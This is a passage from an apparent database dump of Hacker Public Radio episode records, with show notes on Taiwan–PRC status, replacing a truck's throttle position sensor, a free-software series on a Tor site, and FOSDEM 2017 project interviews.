abnormal yet normal. On the rhetorical level it\'s all messed up, in practice you can fly between the island and the mainland, you can conduct business and send post, etc.</p>\r\n<p>When ROC (Republic of China, \"Taiwan\") and PRC (People\'s Republic of China, \"Mainland China\") representatives meet, there are no embassies or consulates involved, because neither acknowledges the other as a country. Neither President will call the other \"President\", because that would imply they represent a country, rather than a rebel faction inside what the other side considers China.</p>\r\n<p>So when Trump goes on Twitter and says \"The President of Taiwan CALLED ME today to wish me congratulations on winning the Presidency. Thank you!\" that\'s a huge scandal in the eyes of Beijing. There is no President of Taiwan, and to imply so is to imply that Taiwan is a country and should be independent.</p>\r\n<p>That\'s as short as I can make it, but that\'s the low-down on what\'s up in the Taiwan Strait.</p>\r\n<p>Further reference (all Wikipedia):</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/China_and_the_United_Nations\">China and the United Nations</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/United_Nations_General_Assembly_Resolution_2758\">United Nations General Assembly Resolution 2758</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Pan-Blue_Coalition\">Pan-Blue Coalition</a> (mainly KMT)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Pan-Green_Coalition\">Pan-Green Coalition</a> (mainly DPP)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Political_status_of_Taiwan\">Political status of Taiwan</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Chinese_unification\">Chinese unification</a></li>\r\n</ul>\r\n<p>Tangential background (all except one from Wikipedia):</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Qing_conquest_of_the_Ming\">Qing conquest of the Ming</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Unequal_treaty\">Unequal treaty</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Taiwan_under_Japanese_rule\">Taiwan under Japanese rule</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/May_Fourth_Movement\">May Fourth Movement</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Dates_of_establishment_of_diplomatic_relations_with_the_People%27s_Republic_of_China\">Recognition of the PRC</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Demographics_of_Taiwan\">Demographics of Taiwan</a></li>\r\n<li><a href=\"https://www.wolframalpha.com/input/?i=population+taiwan+time+series+1945+to+1952\">Population of Taiwan 1945 – 1952</a>\r\n(wolframalpha)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Mongolia%E2%80%93Taiwan_relations\">Mongolia—Taiwan relations</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Taiwan_after_World_War_II\">Taiwan after World War II</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Socialism_with_Chinese_characteristics\">Socialism with Chinese characteristics</a></li>\r\n</ul>\r\n',311,0,0,'CC-BY-SA','china, taiwan, roc, prc, politics, trump, history',0,0,1),
(2199,'2017-01-05','Replacing the Throttle Position Sensor on My Truck',1138,'Sound-seeing episode, listen as I Replace the throttle position sensor on my truck','<p>When the \"check engine\" light came on in my truck again, it turned out to be the <a href=\"https://en.wikipedia.org/wiki/Throttle_position_sensor\">throttle position sensor</a> just like when I very first bought the truck about a year-and-a-half ago. That time, I was able to fix it by spraying contact cleaner on it, but this time that didn\'t work. I ordered a new part. In this episode I talk while I replace the part and I also talk about the nifty diagnostic tool that I used to get the trouble code and how it sends the information to your smartphone.</p>\r\n\r\n<p><a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157677922691915\" title=\"Throttle Position Sensor Pics\"><img src=\"https://c8.staticflickr.com/1/539/31687571375_a77251e859_z.jpg\" width=\"360\" height=\"640\" alt=\"Throttle Position Sensor Pics\"></a></p>\r\n\r\n<p>What you can gather with the torque diagnostic tool for Android:</p>\r\n\r\n<ul>\r\n	<li>View live OBD engine data on your Android phone - Connect to your vehicle ECU</li>\r\n	<li>Fully customisable dashboard screens - Design your own layouts and custom dials, use your own themes</li>\r\n	<li>Retrieve Fault Codes (DTCs) and clear Check Engine lights - View fault descriptions using the built-in databases</li>\r\n	<li>Upload live OBD2 data to your webserver or the torque web viewer in realtime</li>\r\n	<li>Check the performance of your vehicle with BHP / Torque / 0-60 &amp; Quarter Mile widgets</li>\r\n</ul>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Throttle_position_sensor\">Throttle Position Sensor</a></li>\r\n	<li><a href=\"https://veepeak.net/index.php?route=product/product&path=59_61&product_id=60\">Veepeak Mini WiFi Diagnostic Trouble Code Reader</a></li>\r\n	<li><a href=\"https://torque-bhp.com/\">Torque</a> App for Android: Performance and Diagnostics for your Vehicle</li>\r\n</ul>',238,0,0,'CC-BY-SA','DIY, cars, car repair, automotive',0,0,1),
(2200,'2017-01-06','Episode one of the future of free software series',154,'introduction to the series','<p>\r\nSpaceman introduces a series on the future of free software as he sees it.\r\n</p>\r\n<p>\r\nThe full series is available on my hidden service: <a href=\"https://qzc3ou3vccr3yjyg.onion/free-software-podcasts/the-future-of-free-software/\">https://qzc3ou3vccr3yjyg.onion/free-software-podcasts/the-future-of-free-software/</a>\r\n</p>\r\n<p>\r\nYou can access the site using the Tor Browser available <a href=\"https://www.torproject.org/projects/torbrowser.html.en\">here</a>\r\n</p>',344,0,1,'CC-BY-SA','free software',0,0,1),
(2222,'2017-02-07','FOSDEM 2017 K (level 1, group A)',5392,'Ken interviews the projects in Group A of the the K building level 1','<h1>Table of Contents</h1>\r\n<ul>\r\n<li><a href=\"#K1A.1\">KDE</a></li>\r\n<li><a href=\"#K1A.2\">GNOME</a></li>\r\n<li><a href=\"#K1A.3\">LibreOffice</a></li>\r\n<li><a href=\"#K1A.4\">Kopano</a></li>\r\n<li><a href=\"#K1A.5\">CiviCRM</a></li>\r\n<li><a href=\"#K1A.6a\">GNU Taler</a></li>\r\n<li><a href=\"#K1A.6b\">pEp foundation</a></li>\r\n<li><a href=\"#K1A.7\">FreeBSD Project</a></li>\r\n<li><a href=\"#K1A.8\">illumos</a></li>\r\n<li><a href=\"#K1A.9\">OpenSUSE</a></li>\r\n<li><a href=\"#K1A.10\">CentOS</a></li>\r\n<li><a href=\"#K1A.11\">Fedora Project</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.1\" ><img alt=\"KDE\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.1.jpg\"/></h2>\r\n<p><a href=\"https://www.kde.org/\">https://www.kde.org/</a></p>\r\n<blockquote>\r\nKDE is an international community that creates Free Software for desktop and portable computing. Among KDE\'s products are a modern desktop system for Linux and UNIX platforms, and comprehensive office productivity and groupware suites. KDE offers hundreds of software titles in many categories including web applications, multimedia, entertainment, educational, graphics and software development.\r\n</blockquote>\r\n<h3>Listen to the interview with Jonathan Riddell</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=73.000000,510.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=73.000000,510.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2222_K1A.1_KDE_laptop.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.1_KDE_laptop_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2222_K1A.1_KDE_snappy.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.1_KDE_snappy_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://www.kde.org/download/\">https://www.kde.org/download/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/KDE\">https://en.wikipedia.org/wiki/KDE</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=kde\">https://webchat.freenode.net/?channels=kde</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/communities/102942756287167879504\">https://plus.google.com/communities/102942756287167879504</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/29561/\">https://www.linkedin.com/company-beta/29561/</a></li>\r\n<li>Mailinglist: <a href=\"https://www.kde.org/support/mailinglists/\">https://www.kde.org/support/mailinglists/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/kdecommunity\">https://twitter.com/kdecommunity</a></li>\r\n<li>Facebook: <a href=\"https://www.kde.org/images/facebook.png\">https://www.kde.org/images/facebook.png</a></li>\r\n<li>YouTube: <a href=\"https://www.kde.org/images/gplus.png\">https://www.kde.org/images/gplus.png</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.2\" ><img alt=\"GNOME\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.2.jpg\"/></h2>\r\n<p><a href=\"https://www.gnome.org/\">https://www.gnome.org/</a></p>\r\n<blockquote>\r\nGNOME 3 is an easy and elegant way to use your computer. It is designed to put you in control and bring freedom to everybody. GNOME 3 is developed by the GNOME community, a diverse, international group of contributors that is supported by an independent, non-profit foundation.\r\n</blockquote>\r\n<h3>Listen to the interview with Bastian Ilso</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=519.000000,811.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=519.000000,811.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://git.gnome.org/browse/\">https://git.gnome.org/browse/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/GNOME\">https://en.wikipedia.org/wiki/GNOME</a></li>\r\n<li>IRC: <a href=\"https://wiki.gnome.org/Community/GettingInTouch/IRC\">https://wiki.gnome.org/Community/GettingInTouch/IRC</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/108054458791366257368/posts\">https://plus.google.com/108054458791366257368/posts</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/792348/\">https://www.linkedin.com/company-beta/792348/</a></li>\r\n<li>Mailinglist: <a href=\"https://mail.gnome.org/mailman/listinfo\">https://mail.gnome.org/mailman/listinfo</a></li>\r\n<li>RSS: <a href=\"https://www.gnome.org/feed/\">https://www.gnome.org/feed/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/gnome\">https://twitter.com/gnome</a></li>\r\n<li>FediVerse: <a href=\"https://identi.ca/gnome\">https://identi.ca/gnome</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/GNOMEDesktop\">https://www.facebook.com/GNOMEDesktop</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/GNOMEDesktop\">https://www.youtube.com/user/GNOMEDesktop</a></li>\r\n<li>About: <a href=\"https://www.gnome.org/about/\">https://www.gnome.org/about/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.3\" ><img alt=\"LibreOffice\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.3.jpg\"/></h2>\r\n<p><a href=\"https://www.libreoffice.org/\">https://www.libreoffice.org/</a></p>\r\n<blockquote>\r\nLibreOffice is the most widely used free open source office software. It is a community-driven project of The Document Foundation. LibreOffice is developed by professionals and by users, just like you, who believe in the principles of free software and in sharing their work with the world in a non-restrictive way. At the core of these principles is the promise of better-quality, highly-reliable and secure software that gives you greater flexibility at zero cost and no end-user lock-in.\r\n</blockquote>\r\n<h3>Listen to the interview with Italo Vignoli</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=820.000000,1222.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=820.000000,1222.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://www.libreoffice.org/about-us/source-code/\">https://www.libreoffice.org/about-us/source-code/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/LibreOffice\">https://en.wikipedia.org/wiki/LibreOffice</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=libreoffice\">https://webchat.freenode.net/?channels=libreoffice</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+libreoffice/\">https://plus.google.com/+libreoffice/</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups/4935274\">https://www.linkedin.com/groups/4935274</a></li>\r\n<li>Mailinglist: <a href=\"https://www.libreoffice.org/get-help/mailing-lists\">https://www.libreoffice.org/get-help/mailing-lists</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/libreoffice\">https://twitter.com/libreoffice</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/libreoffice.org\">https://www.facebook.com/libreoffice.org</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UCQAClQkZEm2rkWvU5bvCAXQ\">https://www.youtube.com/channel/UCQAClQkZEm2rkWvU5bvCAXQ</a></li>\r\n<li>About: <a href=\"https://www.libreoffice.org/about-us/who-are-we/\">https://www.libreoffice.org/about-us/who-are-we/</a></li>\r\n<li>Reddit: <a href=\"https://www.reddit.com/r/libreoffice\">https://www.reddit.com/r/libreoffice</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.4\" ><img alt=\"Kopano\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.4.jpg\"/></h2>\r\n<p><a href=\"https://www.kopano.io/\">https://www.kopano.io/</a></p>\r\n<blockquote>\r\nKopano is a thoroughly modern communication stack. It\'s fully MAPI based server (Core) provides access to email, contacts, calendaring through a web interface (WebApp), on the desktop (DeskApp) and can be used with mobile devices. Integration with online meetings tools based on WebRTC (Web Meetings) and integration with file storage services (Files) provide a complete set of tools to work together.\r\n</blockquote>\r\n<h3>Listen to the interview with Michael Kromer</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=1231.000000,1735.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=1231.000000,1735.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://stash.kopano.io/repos?visibility=public\">https://stash.kopano.io/repos?visibility=public</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=kopano\">https://webchat.freenode.net/?channels=kopano</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/communities/112491981669914076429\">https://plus.google.com/communities/112491981669914076429</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company/10815502\">https://www.linkedin.com/company/10815502</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/kopanobv\">https://twitter.com/kopanobv</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/meet.kopano/\">https://www.facebook.com/meet.kopano/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UCl8Nd0TDVgHeZFuOdkiSzIA\">https://www.youtube.com/channel/UCl8Nd0TDVgHeZFuOdkiSzIA</a></li>\r\n<li>About: <a href=\"https://kopano.com/about/\">https://kopano.com/about/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.5\" ><img alt=\"CiviCRM\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.5.jpg\"/></h2>\r\n<p><a href=\"https://civicrm.org\">https://civicrm.org</a></p>\r\n<blockquote>\r\nCiviCRM is an open source CRM built by a community of contributors and supporters, and coordinated by the Core Team. CiviCRM is web-based software used by a diverse range of organisations, particularly not-for-profit organizations (nonprofts and civic sector organizations). CiviCRM offers a complete feature set out of the box and can integrate with your website.\r\n</blockquote>\r\n<h3>Listen to the interview with Alain Benbassat</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=1744.000000,1964.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=1744.000000,1964.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/civicrm/civicrm-dev-docs\">https://github.com/civicrm/civicrm-dev-docs</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/CiviCRM\">https://en.wikipedia.org/wiki/CiviCRM</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=civicrm\">https://webchat.freenode.net/?channels=civicrm</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/communities/114972789429616596475\">https://plus.google.com/communities/114972789429616596475</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups/1418647\">https://www.linkedin.com/groups/1418647</a></li>\r\n<li>Mailinglist: <a href=\"https://lists.civicrm.org/lists/\">https://lists.civicrm.org/lists/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/civicrm\">https://twitter.com/civicrm</a></li>\r\n<li>Facebook: <a href=\"https://facebook.com/civicrm\">https://facebook.com/civicrm</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UCbmFxo3HyO9gaNG40byQjiQ\">https://www.youtube.com/channel/UCbmFxo3HyO9gaNG40byQjiQ</a></li>\r\n<li>About: <a href=\"https://civicrm.org/about\">https://civicrm.org/about</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.6a\" ><img alt=\"GNU Taler\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.6a.jpg\"/></h2>\r\n<p><a href=\"https://taler.net/\">https://taler.net/</a></p>\r\n<blockquote>\r\nTaler is an electronic payment system providing the ability to pay anonymously using digital cash. Taler consists of a network protocol definition (using a RESTful API over HTTP), a Mint (which creates digital coins), a Wallet (which allows customers\r\n</blockquote>\r\n<h3>Listen to the interview with Christian Grothoff</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=1973.000000,2402.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=1973.000000,2402.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://ftp.gnu.org/gnu/taler/\">https://ftp.gnu.org/gnu/taler/</a></li>\r\n<li>Mailinglist: <a href=\"https://savannah.gnu.org/mail/?group=taler\">https://savannah.gnu.org/mail/?group=taler</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.6b\" ><img alt=\"pEp foundation\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.6b.jpg\"/></h2>\r\n<p><a href=\"https://pep.foundation\">https://pep.foundation</a></p>\r\n<blockquote>\r\nThe Swiss-based PEP foundation that intends to encrypt all digital written communication fully automatically giving \"Privacy by Default\"\r\n</blockquote>\r\n<h3>Listen to the interview with Hernâni Matques</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=2411.000000,3791.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=2411.000000,3791.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://pep.foundation/source-code/index.html\">https://pep.foundation/source-code/index.html</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/pEpCouncil\">https://twitter.com/pEpCouncil</a></li>\r\n<li>About: <a href=\"https://pep.foundation/about/index.html\">https://pep.foundation/about/index.html</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.7\" ><img alt=\"FreeBSD Project\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.7.jpg\"/></h2>\r\n<p><a href=\"https://www.freebsd.org/\">https://www.freebsd.org/</a></p>\r\n<blockquote>\r\nFreeBSD is an advanced computer operating system used to power modern servers, desktops, and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security, and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices.\r\n</blockquote>\r\n<h3>Listen to the interview with Benedict Reuschling</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=3800.000000,4051.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=3800.000000,4051.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/freebsd\">https://github.com/freebsd</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/FreeBSD\">https://en.wikipedia.org/wiki/FreeBSD</a></li>\r\n<li>IRC: <a href=\"https://www.freebsd.org/community/irc.html\">https://www.freebsd.org/community/irc.html</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company/freebsd-foundation/\">https://www.linkedin.com/company/freebsd-foundation/</a></li>\r\n<li>Mailinglist: <a href=\"https://www.freebsd.org/community/mailinglists.html\">https://www.freebsd.org/community/mailinglists.html</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/freebsdfndation\">https://twitter.com/freebsdfndation</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/FreeBSDFoundation\">https://www.facebook.com/FreeBSDFoundation</a></li>\r\n<li>About: <a href=\"https://www.freebsd.org/about.html\">https://www.freebsd.org/about.html</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.8\" ><img alt=\"illumos\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.8.jpg\"/></h2>\r\n<p><a href=\"https://illumos.org/\">https://illumos.org/</a></p>\r\n<blockquote>\r\nThis is the home of the illumos project, the open source fork of Sun\'s OpenSolaris. Launched in 2010, the project enjoys financial and technical support from several key companies which rely on the illumos kernel as the technological foundation for their own products, as well as the backing of a growing developer community.\r\n</blockquote>\r\n<h3>Listen to the interview with Hans Rosenfeld</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=4060.000000,4309.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=4060.000000,4309.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Illumos\">https://en.wikipedia.org/wiki/Illumos</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=illumos\">https://webchat.freenode.net/?channels=illumos</a></li>\r\n<li>Mailinglist: <a href=\"https://wiki.illumos.org/display/illumos/illumos+Mailing+Lists\">https://wiki.illumos.org/display/illumos/illumos+Mailing+Lists</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/illumosnews\">https://twitter.com/illumosnews</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/groups/illumos/\">https://www.facebook.com/groups/illumos/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UC1hkQmdXxDjR5m363iwPhvg\">https://www.youtube.com/channel/UC1hkQmdXxDjR5m363iwPhvg</a></li>\r\n<li>About: <a href=\"https://wiki.illumos.org/display/illumos/About+illumos\">https://wiki.illumos.org/display/illumos/About+illumos</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.9\" ><img alt=\"OpenSUSE\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.9.jpg\"/></h2>\r\n<p><a href=\"https://www.opensuse.org/\">https://www.opensuse.org/</a></p>\r\n<blockquote>\r\nopenSUSE, formerly openSUSE Leap 42.1 and openSUSE Tumbleweed, is a international Linux project with different distributions sponsored by SUSE Linux GmbH and other companies. It is widely used throughout the world, particularly in Germany. The focus of its development is creating usable open source tools for software developers and system administrators, while providing user friendly desktops, and a feature rich server environment.\r\n</blockquote>\r\n<h3>Listen to the interview with Douglas DeMaio</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=4318.000000,4667.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=4318.000000,4667.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenSUSE\">https://en.wikipedia.org/wiki/OpenSUSE</a></li>\r\n<li>IRC: <a href=\"https://en.opensuse.org/openSUSE:IRC_list\">https://en.opensuse.org/openSUSE:IRC_list</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+openSUSE/posts\">https://plus.google.com/+openSUSE/posts</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/254270/\">https://www.linkedin.com/company-beta/254270/</a></li>\r\n<li>Mailinglist: <a href=\"https://en.opensuse.org/openSUSE:Mailing_lists_subscription\">https://en.opensuse.org/openSUSE:Mailing_lists_subscription</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/opensuse\">https://twitter.com/opensuse</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/en.openSUSE\">https://www.facebook.com/en.openSUSE</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/opensusetv\">https://www.youtube.com/user/opensusetv</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.10\" ><img alt=\"CentOS\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.10.jpg\"/></h2>\r\n<p><a href=\"https://www.centos.org/\">https://www.centos.org/</a></p>\r\n<blockquote>\r\nThe CentOS Project is a community-driven free software effort focused on delivering a robust open source ecosystem. For users, we offer a consistent manageable platform that suits a wide variety of deployments. For open source communities, we offer a solid, predictable base to build upon, along with extensive resources to build, test, release, and maintain their code.\r\n</blockquote>\r\n<h3>Listen to the interview with Fabian Arrotin</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=4676.000000,4954.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=4676.000000,4954.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/CentOS\">https://en.wikipedia.org/wiki/CentOS</a></li>\r\n<li>IRC: <a href=\"https://wiki.centos.org/irc\">https://wiki.centos.org/irc</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/963243/\">https://www.linkedin.com/company-beta/963243/</a></li>\r\n<li>Mailinglist: <a href=\"https://wiki.centos.org/GettingHelp/ListInfo\">https://wiki.centos.org/GettingHelp/ListInfo</a></li>\r\n<li>About: <a href=\"https://www.centos.org/about/\">https://www.centos.org/about/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K1A.11\" ><img alt=\"Fedora Project\" src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.11.jpg\"/></h2>\r\n<p><a href=\"https://getfedora.org/en/\">https://getfedora.org/en/</a></p>\r\n<blockquote>\r\nFedora is an operating system based on the Linux kernel, developed by the community-supported Fedora Project and sponsored by Red Hat. Fedora contains software distributed under a free and open-source license and aims to be on the leading edge of such technologies.\r\n</blockquote>\r\n<h3>Listen to the interview with Justin W. Flory</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.ogg#t=4963.000000,5362.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2222.mp3#t=4963.000000,5362.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2222_K1A.11_Fedora_Project_youngest_ambassador.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2222_K1A.11_Fedora_Project_youngest_ambassador_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Fedora_(operating_system)\">https://en.wikipedia.org/wiki/Fedora_(operating_system)</a></li>\r\n<li>IRC: <a href=\"https://fedoraproject.org/wiki/IRC\">https://fedoraproject.org/wiki/IRC</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/112917221531140868607\">https://plus.google.com/112917221531140868607</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/32178/\">https://www.linkedin.com/company-beta/32178/</a></li>\r\n<li>Mailinglist: <a href=\"https://fedoraproject.org/wiki/Mailing_lists\">https://fedoraproject.org/wiki/Mailing_lists</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/fedora\">https://twitter.com/fedora</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/TheFedoraProject\">https://www.facebook.com/TheFedoraProject</a></li>\r\n</ul>\r\n',30,0,1,'CC-BY-SA','FOSDEM 2017, KDE, GNOME, LibreOffice, Kopano, CiviCRM, GNU Taler, pEp foundation, FreeBSD Project, 